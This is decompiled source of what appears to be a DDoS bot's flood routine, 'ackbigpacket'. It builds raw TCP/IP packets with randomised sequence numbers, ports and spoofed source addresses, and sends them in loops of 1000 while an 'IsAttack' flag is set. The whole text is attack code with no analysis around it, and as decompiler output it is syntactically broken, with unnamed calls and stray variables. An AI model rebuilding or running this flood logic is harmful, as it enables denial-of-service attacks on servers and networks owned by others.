int ackbigpacket(_Unknown_base* ThreadData)
{// addr = 0x0804B4FE
    SYNPACKET SynObj;
    short int tcp_flags;
    char[19] szNewIP;
    char[255] szPackData;
    char[127] pheader;
    struct sockaddr_in servaddr;
    int hSockft;
    struct hostent* szhost;
    int nTime;
    int tcphdr_size;
    struct ip* iph;
    struct tcphdr* tcph;
    struct tcp_options* tcpopt;
    int one;
    const int* val;
    int looptime;
    int aa;
    int ShamBase;
    int dwNewIP;
    intOrPtr _v16;
    signed int _v20;
    signed int _v24;
    _unknown_ _v26;
    signed int _v28;
    signed int _v32;
    char* _v36;
    intOrPtr _v40;
    signed int _v44;
    signed char* _v48;
    unsigned int _v52;
    unsigned int _v56;
    intOrPtr _v60;
    signed int _v64;
    signed int _v66;
    intOrPtr _v68;
    signed int _v72;
    signed short _v74;
    intOrPtr _v76;
    signed int _v80;
    intOrPtr _v84;
    signed int _v88;
    unsigned int _v212;
    unsigned int _v220;
    char _v224;
    char _v236;
    char _v244;
    char _v256;
    char _v500;
    char _v512;
    unsigned int _v617;
    unsigned short _v618;
    signed int _v619;
    signed int _v620;
    short unsigned int _v628;
    unsigned int _v629;
    unsigned short _v630;
    signed int _v631;
    signed int _v632;
    short unsigned int _v640;
    char _v644;
    char _v648;
    short unsigned int _v652;
    char _v656;
    char _v660;
    signed short _v664;
    signed short _v668;
    signed int _v672;
    signed short _v676;
    signed short _v680;
    signed int _v684;
    signed int _v696;
    signed int _v700;
    signed int _v704;
    signed char _v708;
    signed int _v712;
    intOrPtr _v780;
    signed int _v784;
    signed int _v786;
    intOrPtr _v936;
    char _v948;
    short _v1368;
    signed int _v1412;
    signed int _v1416;
    signed int _v1420;
    signed char _v1424;
    signed int _v1428;
    signed int _v1440;
    signed int _v1444;
    signed char _v1448;
    signed int _v1450;
    _unknown_ r6;
    _unknown_ _t483;
    signed int _t484;
    intOrPtr _t486;
    _unknown_ _t488;
    _unknown_ _t489;
    _unknown_ _t490;
    _unknown_ _t491;
    _unknown_ _t495;
    signed int _t496;
    intOrPtr _t501;
    _unknown_ _t503;
    _unknown_ _t504;
    _unknown_ _t505;
    _unknown_ _t506;
    _unknown_ _t527;
    signed char _t546;
    short _t555;
    intOrPtr _t557;
    intOrPtr _t559;
    short _t568;
    signed int _t576;
    signed int _t577;
    _unknown_ _t579;
    intOrPtr _t587;
    signed int _t588;
    _unknown_ _t590;
    short _t599;
    signed int _t600;
    _unknown_ _t602;
    signed int _t611;
    _unknown_ _t613;
    _unknown_ _t618;
    signed char _t628;
    _unknown_ _t631;
    _unknown_ _t635;
    _unknown_ _t640;
    _unknown_ _t649;
    _unknown_ _t653;
    short unsigned int _t656;
    _unknown_ _t661;
    _unknown_ _t676;
    signed char _t695;
    short _t704;
    intOrPtr _t706;
    intOrPtr _t708;
    short _t717;
    signed int _t725;
    signed int _t726;
    _unknown_ _t728;
    intOrPtr _t736;
    signed int _t737;
    _unknown_ _t739;
    short _t748;
    signed int _t749;
    _unknown_ _t751;
    signed int _t760;
    _unknown_ _t762;
    _unknown_ _t767;
    signed char _t777;
    _unknown_ _t780;
    _unknown_ _t784;
    _unknown_ _t789;
    _unknown_ _t798;
    _unknown_ _t802;
    short unsigned int _t805;
    signed int _t808;
    _unknown_ _t810;
    signed int _t813;
    signed int _t827;
    signed int _t842;
    signed int _t843;
    signed int _t844;
    signed int _t850;
    signed int _t851;
    signed int _t852;
    signed int _t856;
    signed int _t886;
    _unknown_ _t894;
    _unknown_ _t902;
    _unknown_ _t930;
    signed int _t937;
    _unknown_ _t950;
    signed int* _t951;
    _unknown_ _t952;

    _push(_t943);
    _push(__esi);
    _push(_t827);
    __esp = __esp - 700;
    L0806F910( &_v224, 156);
    L0806F9E0(_t943, __esi,  &_v224, ThreadData, 156);
    _v66 = 16;
    _v712 = 16;
    _t484 =  &_v644;
     *__esp = _t484;
    L0806F910();
    _v708 = 6;
    L08073680(_t827, __esp, 2, 3);
    _v64 = _t484;
    _v644 = 2;
    _t486 =  &_v224 + 16;
    L08075250(_t486);
    _v60 = _t486;
    if(_v60 != 0) {
        _t676 = L0806E4D0( &_v224 + 16, "0.0.0.0");
        if(_t676 == 0) {
        } else {
            _v56 = 0;
            _v56 = _v212;
            if(_v56 <= 0 || _v56 > 86400) {
                _v56 = 20;
            }
            _v640 =  *( *( *(_v60 + 16)));
            _v52 = 20;
            _v48 =  &_v500;
            _v44 =  &_v500 + 20;
            _v40 =  &_v500 + 40;
             *_v48 =  *_v48 & 255 & 240 | 5;
             *_v48 =  *_v48 & 255 & 15 | 64;
            (_v48[1]) = 0;
            (_v48[2]) = 60;
             *__esp = 31337;
            _t695 = L08075240(__esp);
            (_v48[4]) = _t695;
            (_v48[6]) = 0;
            (_v48[8]) = 250;
            (_v48[9]) = 6;
            (_v48[0xa]) = 0;
            (_v48[0x10]) = _v640;
             *__esp = _v80 & 65535;
            _t704 = L08075240(__esp);
             *((short*)(_v44 + 2)) = _t704;
             *__esp = 31337;
            _t706 = L08075230(__esp);
             *((intOrPtr*)(_v44 + 4)) = _t706;
             *__esp = 0;
            _t708 = L08075230(__esp);
             *((intOrPtr*)(_v44 + 8)) = _t708;
             *(_v44 + 12) =  *(_v44 + 12) & 255 & 240;
             *(_v44 + 12) =  *(_v44 + 12) & 255 & 15 | 160;
             *(_v44 + 13) = _v66 & 65535;
             *__esp = 57344;
            _t717 = L08075240(__esp);
             *((short*)(_v44 + 14)) = _t717;
             *((short*)(_v44 + 16)) = 0;
             *(_v44 + 18) = 0;
            if((_v52 & 3) != 0) {
                _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
            }
            _v52 = 40;
            _v648 = 1;
            _v36 =  &_v648;
            _v700 = 4;
            _v704 = _v36;
            _v708 = 3;
            _v712 = 0;
            _t725 = _v64;
             *__esp = _t725;
            L08073640(_t827, __esp);
            if(_t725 >= 0) {
            } else {
                _v32 = 0;
                while(1) {
                    _t726 = IsAttack;
                    if(_t726 == 0) {
                        break;
                    }
                    _v28 = 0;
                    while(_v28 <= 999) {
                        L0805EBE0();
                        _t850 = _t726;
                        _v680 = -2147450879;
                        _v672 = ((_v680 * _t850 >> 32) + _t850 >> 15) - (_t850 >> 31);
                        _v672 = _t850 - (_v672 << 16) - _v672;
                         *__esp = _v672;
                        _t736 = L08075230(__esp);
                        _t737 = _v44;
                         *((intOrPtr*)(_t737 + 4)) = _t736;
                        L0805EBE0();
                        _t851 = _t737;
                        _v680 = -2147450879;
                        _v668 = ((_v680 * _t851 >> 32) + _t851 >> 15) - (_t851 >> 31);
                        _v668 = _t851 - (_v668 << 16) - _v668;
                         *__esp = _v668 & 65535 & 65535;
                        _t748 = L08075240(__esp);
                        _t749 = _v44;
                         *((short*)(_t749 + 14)) = _t748;
                        L0805EBE0();
                        _t852 = _t749;
                        _v680 = -2147450879;
                        _t827 = ((_v680 * _t852 >> 32) + _t852 >> 15) - (_t852 >> 31);
                        _v664 = _t827;
                        _t943 = _t852 - (_v664 << 16) - _v664;
                        _v664 = _t852 - (_v664 << 16) - _v664;
                         *_v44 = _v664 & 65535;
                        _t760 = _v72 - _v76;
                        _v24 = _t760;
                        if(_v24 <= 0) {
                            goto L20;
                        } else {
                            L0805EBE0();
                            _v20 = _t760 % _v24 + _v76;
                            L0806F850(_t827, _t943, __esi,  &_v244, 0, 20);
                            _v696 = _v20 & 255;
                            _v700 = _v20 >> 8 & 255;
                            _v704 = _v20 >> 16 & 255;
                            L0805FF50( &_v244, "%d.%d.%d.%d", _v20 >> 24);
                            _t777 = L08073B40( &_v244);
                            (_v48[0xc]) = _t777;
                            L0806F850(_v20 >> 16 & 255, _t943, __esi,  &_v628, 0, 128);
                            L0806F9E0(_t943, __esi,  &_v628,  &(_v48[0xc]), 4);
                            L0806F9E0(_t943, __esi,  &((char*)( &_v628)[2]),  &(_v48[0x10]), 4);
                            _v620 = 0;
                            _v619 = (_v48[9]) & 255;
                            _v618 = _v52 >> 8;
                            _v617 = _v52;
                            L0806F9E0(_t943, __esi,  &((char*)( &_v628)[6]), _v44, 20);
                            L0806F9E0(_t943, __esi,  &((char*)( &_v628)[0x10]), _v40, 8);
                            _t805 = csum( &_v628, _v52 + 12);
                             *((short*)(_v44 + 16)) = _t805;
                            _t827 =  &_v644;
                            _t808 = (_v48[2]) & 65535;
                            __esi = _t808 & 65535;
                            L0805EBE0();
                            _t856 = _t808;
                            _v680 = -1600085855;
                            _t937 = _v680 * _t856 >> 32;
                            _t813 = _t856 >> 31;
                            _t943 = (_t937 + _t856 >> 7) - _t813;
                            _v660 = (_t937 + _t856 >> 7) - _t813;
                            _v660 = _t856 - _t813 * _v660;
                            _v696 = 16;
                            _v700 = _t827;
                            _v704 = 0;
                            _v708 = __esi + _v660 + 800;
                            _t726 = L08052C20(__esi, _v64,  &_v500);
                            _v28 = _v28 + 1;
                            continue;
                        }
                        goto L20;
                    }
                }
            }
        }
    }
L20:
    L08052A50(_v64);
    _t489 = L08051050();
    L08051000(_t489);
     *__esp = 0;
    L08050FE0();
    goto L21;
L21:
    _push(_t950);
    _t951 = __esp;
    _push(__esi);
    _push(_t827);
    __esp = __esp - 704;
    L0806F910( &_v948, 160);
    L0806F9E0(_t943, __esi,  &_v948, _v712, 160);
    _v786 = 16;
    _v1428 = 16;
    _t496 =  &_v1368;
     *__esp = _t496;
    L0806F910();
    _v1424 = 6;
    L08073680(_t827, __esp, 2, 3);
    _v784 = _t496;
    _v1368 = 2;
    _v780 = _v936;
    if(_v780 <= 60 || _v68 > 800) {
        _v68 = 61;
    }
    _v64 = _v68 - 60;
    _t501 =  &_v236 + 20;
    L08075250(_t501);
    _v60 = _t501;
    if(_v60 != 0) {
        _t527 = L0806E4D0( &_v236 + 20, "0.0.0.0");
        if(_t527 == 0) {
        } else {
            _v56 = 0;
            _v56 = _v220;
            if(_v56 <= 0 || _v56 > 86400) {
                _v56 = 20;
            }
            _v652 =  *( *( *(_v60 + 16)));
            _v52 = 20;
            _v48 =  &_v512;
            _v44 =  &_v512 + 20;
            _v40 =  &_v512 + 40;
             *_v48 =  *_v48 & 255 & 240 | 5;
             *_v48 =  *_v48 & 255 & 15 | 64;
            (_v48[1]) = 0;
            (_v48[2]) = 60;
             *__esp = 31337;
            _t546 = L08075240(__esp);
            (_v48[4]) = _t546;
            (_v48[6]) = 0;
            (_v48[8]) = 250;
            (_v48[9]) = 6;
            (_v48[0xa]) = 0;
            (_v48[0x10]) = _v652;
             *__esp = _v88 & 65535;
            _t555 = L08075240(__esp);
             *((short*)(_v44 + 2)) = _t555;
             *__esp = 31337;
            _t557 = L08075230(__esp);
             *((intOrPtr*)(_v44 + 4)) = _t557;
             *__esp = 0;
            _t559 = L08075230(__esp);
             *((intOrPtr*)(_v44 + 8)) = _t559;
             *(_v44 + 12) =  *(_v44 + 12) & 255 & 240;
             *(_v44 + 12) =  *(_v44 + 12) & 255 & 15 | 160;
             *(_v44 + 13) = _v74 & 65535;
             *__esp = 57344;
            _t568 = L08075240(__esp);
             *((short*)(_v44 + 14)) = _t568;
             *((short*)(_v44 + 16)) = 0;
             *(_v44 + 18) = 0;
            if((_v52 & 3) != 0) {
                _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
            }
            _v52 = 40;
            _v660 = 1;
            _v36 =  &_v660;
            _v1416 = 4;
            _v1420 = _v36;
            _v1424 = 3;
            _v1428 = 0;
            _t576 = _v72;
             *__esp = _t576;
            L08073640(_t827, __esp);
            if(_t576 >= 0) {
            } else {
                _v32 = 0;
                while(1) {
                    _t577 = IsAttack;
                    if(_t577 == 0) {
                        break;
                    }
                    _v28 = 0;
                    while(_v28 <= 999) {
                        L0805EBE0();
                        _t842 = _t577;
                        _v696 = -2147450879;
                        _v684 = ((_v696 * _t842 >> 32) + _t842 >> 15) - (_t842 >> 31);
                        _v684 = _t842 - (_v684 << 16) - _v684;
                         *__esp = _v684;
                        _t587 = L08075230(__esp);
                        _t588 = _v44;
                         *((intOrPtr*)(_t588 + 4)) = _t587;
                        L0805EBE0();
                        _t843 = _t588;
                        _v696 = -2147450879;
                        _v680 = ((_v696 * _t843 >> 32) + _t843 >> 15) - (_t843 >> 31);
                        _v680 = _t843 - (_v680 << 16) - _v680;
                         *__esp = _v680 & 65535 & 65535;
                        _t599 = L08075240(__esp);
                        _t600 = _v44;
                         *((short*)(_t600 + 14)) = _t599;
                        L0805EBE0();
                        _t844 = _t600;
                        _v696 = -2147450879;
                        _t886 = _v696 * _t844 >> 32;
                        _t833 = (_t886 + _t844 >> 15) - (_t844 >> 31);
                        _v676 = (_t886 + _t844 >> 15) - (_t844 >> 31);
                        _v676 = _t844 - (_v676 << 16) - _v676;
                         *_v44 = _v676 & 65535;
                        _t611 = _v80 - _v84;
                        _v24 = _t611;
                        if(_v24 <= 0) {
                            goto L44;
                        } else {
                            L0805EBE0();
                            _v20 = _t611 % _v24 + _v84;
                            L0806F850(_t833, _t943, __esi,  &_v256, 0, 20);
                            _v1412 = _v20 & 255;
                            _v1416 = _v20 >> 8 & 255;
                            _v1420 = _v20 >> 16 & 255;
                            L0805FF50( &_v256, "%d.%d.%d.%d", _v20 >> 24);
                            _t628 = L08073B40( &_v256);
                            (_v48[0xc]) = _t628;
                            L0806F850(_v20 >> 16 & 255, _t943, __esi,  &_v640, 0, 128);
                            L0806F9E0(_t943, __esi,  &_v640,  &(_v48[0xc]), 4);
                            L0806F9E0(_t943, __esi,  &((char*)( &_v640)[2]),  &(_v48[0x10]), 4);
                            _v632 = 0;
                            _v631 = (_v48[9]) & 255;
                            _v630 = _v52 >> 8;
                            _v629 = _v52;
                            L0806F9E0(_t943, __esi,  &((char*)( &_v640)[6]), _v44, 20);
                            L0806F9E0(_t943, __esi,  &((char*)( &_v640)[0x10]), _v40, 8);
                            _t656 = csum( &_v640, _v52 + 12);
                             *(_v44 + 16) = _t656;
                            __esi =  &_v656;
                            L0805EBE0();
                            _v1412 = 16;
                            _v1416 = __esi;
                            _v1420 = 0;
                            _v1424 = ((_v48[2]) & 65535 & 65535) + ((_v48[2]) & 65535) % _v64;
                            _t577 = L08052C20(__esi, _v72,  &_v512);
                            _v28 = _v28 + 1;
                            continue;
                        }
                        goto L44;
                    }
                }
            }
        }
    }
L44:
    L08052A50(_v72);
    _t504 = L08051050();
    L08051000(_t504);
     *__esp = 0;
    L08050FE0();
    goto L45;
L45:
    _push(_t951);
    __esp = __esp - 16;
    _v1448 = _v1424;
    _v1444 = _v1428;
    _v1440 = 0;
    _v1450 = 0;
    while(_v24 > 1) {
        _v16 = _v16 + ( *_v20 & 65535 & 65535);
        _v20 = _v20 + 2;
        _v24 = _v24 - 2;
    }
}